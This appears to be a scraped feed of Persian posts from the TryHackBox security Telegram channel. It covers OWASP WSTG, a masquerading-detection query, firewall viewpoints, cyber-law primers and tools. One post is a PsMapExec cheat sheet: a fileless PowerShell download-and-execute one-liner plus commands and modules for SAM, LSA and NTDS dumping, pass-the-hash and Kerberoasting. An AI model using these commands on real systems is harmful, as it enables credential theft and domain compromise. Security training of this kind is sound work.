Try Hack Box

🛡 راهنمای نهایی تست امنیت وب (WSTG)

📚 معرفی یک مرجع بی‌نظیر برای متخصصان امنیت:

Web Security Testing Guide (WSTG)
جامع‌ترین راهنمای تست امنیت برنامه‌های تحت وب

✨ مشخصات کتاب:
- ناشر: OWASP Foundation 🏢
- سازمان منتشرکننده: Open Web Application Security Project
- نوع محتوا: راهنمای رایگان و متن‌باز
- به‌روزرسانی: نسخه اخیر (v4.2)

🎯 چه چیزی داخلش پیدا می‌کنید:
✅ تست احراز هویت و مدیریت نشست
✅ تست کنترل دسترسی
✅ تست تزریق (SQLi, XSS, Command Injection)
✅ تست منطق کسب‌وکار
✅ تست امنیت API
✅ و ده‌ها فصل تخصصی دیگر...

🚀 چرا WSTG رو دانلود کنم؟
- منبع رسمی OWASP معتبرترین مرجع جهانی
- پوشش کامل چرخه تست امنیتی

✍️نویسنده
@TryHackBox | The Chaos

#WSTG #WebSecurity #OWASP #SecurityTesting
#CyberSecurity

#سوال
چرا باید هنگام اسکن یک sniffer اجرا کنیم؟

#جواب اخرشب تو همین پست گذاشته می شود .

جواب هاتون کامنت کنید

🔖 شاخص منابع شناخته‌ شده

ابزاری آنلاین برای اسکن یک وب‌سایت و پیدا کردن اطلاعات درباره آن:

- robots.txt file
- security.txt
- ads.txt
- assetlinks.json
- app-ads.txt
- gpc.json


و دیگر موارد.

https://well-known.dev/

@TryHackBox

نگاهی به پست های قبل :

راهنمای جامع تزریق پروسس در لینوکس

آزمایش آسیب‌پذیری آپاچی

چک‌ لیست برای تست نفوذ اندروید

Credential Dumping DCSync Attack

جلسه هفتم دوره رایگان سکوریتی پلاس

واژه‌نامه امنیت سایبری TryHackBox

Browser Extensions For Bug Bounty


NTLM Relay Attack ?

Secure and insecure ports

PASSWORD CRACKING TOOLS

تزریق پرامپت Exploiting  از سردرگمی دستورات LLM

ماه آگاهی‌بخشی امنیت سایبری

بیایید بیشتر در مورد APT و ..

SDDL | اشک‌هاتو برای یه روز دیگه نگه دار

بازیابی رمزهای عبور از ترافیک Kerberos کپچر شده

در برخی موارد، مهاجمان ...

دیکشنری‌ های پسورد
تست فایل‌های JavaScript در حوزه باگ بانتی

ریورس و تحلیل امنیتی سیستم خانه هوشمند مبتنی بر ESP32

بازی رمز عبور

فایروال دیوار دفاعی شبکه

مقدمات فایروال

بررسی reconnaissance بر پایه LinkedIn

آشنایی با قوانین جرایم سایبری در ایران

آشنایی با قوانین سایبری در سطح بین‌ و المللی

https://t.me/+XPV3S0tygl1lZGE0
لینک گروه

دوستان بات عضویت اجباری برداشته شد راحت میتونید بحث کنید.

#سوال
دوستان فکر کنید در یک مصاحبه هستید و ازتون سوال میپرسند :

بزرگ‌ترین نقطه ‌قوت شما چیست؟

جواب هاتون کامنت کنید

امروز برای اولین ‌بار سراغ یک تکنیک کاربردی می ‌ریم که برای شکار تهدید خیلی مفیده

Masquerading: Match Legitimate Resource Name or Location (T1036.005).

مثل همیشه، با یک مثال شروع می‌کنیم

https://securelist.com/mysterious-elephant-apt-ttps-and-tools/117596/

C:\ProgramData\Intel\ping.exe

C:\Users\Public\ping.exe

همان‌طور که مشاهده می‌شود، مهاجمان فایل‌های مخرب را شبیه ابزارِ معتبر ping جلوه داده‌اند. چنین مواردی را می‌توان مستند سازی کرد و هم برای تشخیص و هم برای شکار تهدید از آن ‌ها استفاده کرد برای مثال:

event_type: "processcreatewin"

AND

proc_file_path: "ping.exe"

AND NOT

proc_file_path: ("windows\system32" OR "windows\syswow64")

@TryHackBox

⚖ آشنایی با قوانین سایبری در سطح بین‌ و المللی

⭕ بدون شناخت قوانین جهانی امنیت سایبری، هر فعالیت فنی میتونه دردسرساز بشه!

⭕ این فایل شامل خلاصه‌ای از مهم‌ترین قوانین سایبری در اروپا، آمریکا و سایر کشورهاست.

💢 قوانین سایبری فقط مخصوص ایران نیست .

💢 این فایل یه نگاه جهانی داره به قانون‌هایی که درباره هک، داده، و امنیت سایبری تصویب شدن.

⭕ حتما بخون قبل از هر تست یا پروژه فنی
@TryHackBox
#قوانین_سایبری_بین‌المللی #قوانین_سایبری

اجرای ابزار از حافظه:

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

مثال‌ها:
اجرای با کاربر جاری

PsMapExec -Targets All -Method [Method]

با پسورد

PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

با هش

PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

با تیکت

PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

دامپ فایل SAM

PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

Kerberoasting

PsMapExec -Method Kerberoast -ShowOutput

استفاده از ماژول ‌ها

PsMapExec -Targets All -Method [Method] -Module [Module]

@TryHackBox
#pentest #powershell #psmapexec

🔖 PsMapExec v0.9.0

یک به ‌روزرسانی برای ابزار post-exploitation در Active Directory که با PowerShell نوشته شده منتشر شد.

به روز رسانی

پشتیبانی از چند دامنه

بهبود عملکرد از طریق Proxifier / تونل‌های SSH

امکان روشن/خاموش کردن RDP
ماژول‌های جدید:

EventCreds

ماژول ‌های اضافی در LDAP:

GMSA
ConstrainedDelegation
UnconstrainedDelegation
AdminCount
ComputerSIDs
UserDescriptions
UserLogonRestrictions
UserPasswords
UserSIDs

روش‌ها (پروتکل) فعلی که پشتیبانی می‌شوند:

RDP
SessionHunter
SMB
SMB Signing
LDAP / LDAPS
SSH
Spraying
VNC
WinRM
WMI
MSSQL
Kerberoast

ماژول ‌های پیاده ‌سازی ‌شده:

Amnesiac — اجرای payloadهای Amnesiac C2
ConsoleHistory — تاریخچه در PowerShell
Files — فایل‌ها در دایرکتوری‌های متداول
KerbDump — دامپ تیکت‌های Kerberos
eKeys — دامپ کلیدها (Mimikatz)
LogonPasswords — دامپ پسوردهای لاگ‌آن (Mimikatz)
LSA — دامپ LSA (Mimikatz)
NTDS — پیاده‌سازی DCsync
SAM — دامپ SAM

https://viperone.gitbook.io/pentest-everything/psmapexec

@TryHackBox
#PowerShell #pentest #redteam #psmapexec

⚖ آشنایی با قوانین جرایم سایبری در ایران

💢 اگر در حوزه امنیت سایبری، تست نفوذ یا ردتیم فعالیت می‌کنی، حتما باید بدونی چه کارهایی جرم محسوب میشن و مجازاتشون چیه.

⭕ یه اشتباه کوچیک در دنیای سایبری می‌تونه به جرم بزرگ تبدیل بشه!

💢 قبل از هر تست نفوذ یا فعالیت فنی، قوانین سایبری ایران رو بشناس.
@TryHackBox
#قوانین_سایبری

🔖 grype v0.100.0

اسکنر آسیب‌پذیری برای containers و فایل سیستم ها

نصب:

curl -sSfL https://get.anchore.io/grype | sudo sh -s  -b /usr/local/bin

راه‌اندازی:

grype  scope all-layers

https://github.com/anchore/grype

@TryHackBox
#grype #soft #golang

🔖 در این آموزش از تیم TryHackBox، به بررسی reconnaissance بر پایه LinkedIn می‌پردازیم. یاد می‌گیرید چطور ساختار سازمانی رو نقشه‌برداری کنید، اهداف کلیدی رو شناسایی کنید و از ابزارهایی مثل theHarvester و Maltego برای جمع‌آوری اطلاعات عمومی استفاده کنید. مثال‌های عملی، تمرین‌های گام‌به‌گام و چک‌لیست اخلاقی هم داخلش هست.
@TryHackBox | Github | YouTube | Group
#Recon #OSINT #Linkedin

✏️ مقاله تالیف شده
مقدمات فایروال

✍️نویسنده
@TryHackBox | The Chaos

#FireWall #Cybersecurity #Networking

از دیدگاه هکر (Attacker View) 🔴
🛡 فایروال: از نگاه هکرها!

هکر اینجا صحبت می‌کند:
"فایروال اولین دیواری هست که باید بشکنم! اینجا نقطه‌ضعف‌هایی که دنبالش می‌گردم:

🔸 قواعد ضعیف:

فایروال‌هایی که Deny All ندارند
پورت‌های باز غیرضروری (مثل 21, 23, 135)
قرار دادن ACLهای نامحدود

🔸 کانفیگ‌های غلط:
کانفیگ DMZ با دسترسی به شبکه داخلی
قواعد NAT شل و نامحدود
ایجاد VPN با احراز هویت ضعیف

🔸 منفذهای نفوذ:
فایروال‌های آپدیت نشده
غیرفعال بودنLogging
داشتن IDS/IPS با Signatureهای قدیمی

💡 نکته: فایروال فقط به اندازه ضعیف‌ترین قاعده‌اش امنه!

از دیدگاه مدیر فناوری (IT Manager) 🟡
🛡 فایروال: چالش‌های مدیریتی

به عنوان مدیر IT، این چالش‌ها رو دارم:

🔹 بالانس امنیت و کارایی:
چطور امن باشیم بدون کند کردن سرویس‌ها؟
مدیریت ترافیک encrypted
پاسخ به درخواست‌های بخش‌های مختلف

🔹 مدیریت پیچیده:
نگهداری از صدها قاعده
عیب‌یابی مسائل شبکه
مستندسازی قواعد

🔹 منابع محدود:
بودجه برای آپدیت سخت‌افزار
نیروی متخصص برای پایش 24/7
آموزش مستمر تیم

💡 راه‌حل: اتوماسیون، مانیتورینگ مداوم و آموزش تیم

از دیدگاه تیم آبی (Blue Team) 🔵
🛡 فایروال: سلاح تیم آبی

ما در تیم آبی اینطور از فایروال استفاده می‌کنیم:

✅ استراتژی دفاع لایه‌ای:
فایروال اولین لایه از ۷ لایه امنیتی
ترکیب با IPS, WAF, EDR
دفاع عمقی (Defense in Depth)

✅ مانیتورینگ پیشرفته:
آنالیز ترافیک شمالی-جنوبی
تشخیص ناهنجاری‌های رفتاری
یکپارچه‌سازی با SIEM

✅ پاسخ به حادثه:
مسدود کردن سریع IPهای مخرب
ایجاد قواعد موقت هنگام حمله
آنالیز لاگ‌ها برای Forensics

🔥 نکته کلیدی: فایروال هوشمند + تحلیلگر حرفه‌ای = دفاع قدرتمند

✍️نویسنده
@TryHackBoxStory | The Chaos
#FireWall #Network #CyberSecurity #IT #Blog